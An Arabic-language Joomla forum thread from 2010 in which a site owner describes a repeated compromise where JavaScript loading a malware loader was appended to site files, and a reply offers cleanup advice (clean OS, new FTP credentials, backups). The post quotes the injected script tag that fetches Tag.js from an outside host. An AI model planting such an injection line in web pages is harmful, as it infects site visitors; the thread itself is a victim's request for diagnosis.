Page 1 of 1

الاختراق للمرة الرابعة

Posted: Tue Jun 22, 2010 2:55 pm
by fyras_com
السلام عليكم
لدي موقع و قد تعرض للاختراق للمرة الرابعة

الاسلوب واحد ???
و هو اضافة جافا سكريبت في نهاية اغلب الملفات غالبا و احيانا في وسطها
و هو يفوم بتحميل فيروس (لودر) اخر نسخة منه هي
<script type="text/javascript" src="http://foxy.divarug.com:8080/Tag.js"></script>
<!--ccf6b5bcd37b576aa804dfb2a54642c4-->



طبعا كل مرة يتعير اسم الموقع و السكريبت >:(
صدقا اكاد اجن من هذه الوضع حتى اصبحت اشك بجملة نفسها
على قكرة الموقع مؤلف من جملة و ( ا د س مانجر) للاعلانات التي اضيفها انا و بعض الاشحاص اي اته موقع محدد من هم اعضاءه و صلاحياتهم
طبعا الصلاحيات حسب الاصول و كما هو في الموقغ و قد استخدمت
GuardXT

اخوتي انا لست جديد على موقعكم و كذلك تطبيقات جملة :) .فانا من المتتبعين لكم منذ اكثر من 3 سنوات
و لكن الحق بقال اني لم اتعرض لهكذا مشكلة من قبل ,

لقد اعدت تحميل الموقع اكثر من مرة و الى الان لم افهم هل الاختراق من هذا النوع عن طريق (الشيل) ام ( اس كيو انجاكشن) ام اسلوب اخر
الاساتضاقة على (هوست مونستر ) ارجو من الاخوة المساعدة على التشخيص المرضي لهذه الحالة و المساعدة في علاجها
و انا من الشاكرين سلفا لكم

Re: الاختراق للمرة الرابعة

Posted: Thu Jun 24, 2010 1:29 pm
by sherif
قد يكون الاختراق داخلي من موقع اخر على السيرفر
ولكن الأغلب أنه فيروس على جهازك لا يتعرف عليه مضاد الفيروسات
بعد تنظيف الموقع اعمل الآتي
قم بتغيير الويندوز تماما بنسخة نظيفة
اذا كان لديك فلاش ميموري usb اعمل لها فورمات
قم بتغيير برنامج الاف تي البي المستخدم معك
قم بتغيير كافة معلومات الدخول للسي بانل وادارة جملا
استمر في استخدام guardxt وراقب الموقف
حاول تحتفظ بنسخة احتياطية نظيفة

تحياتي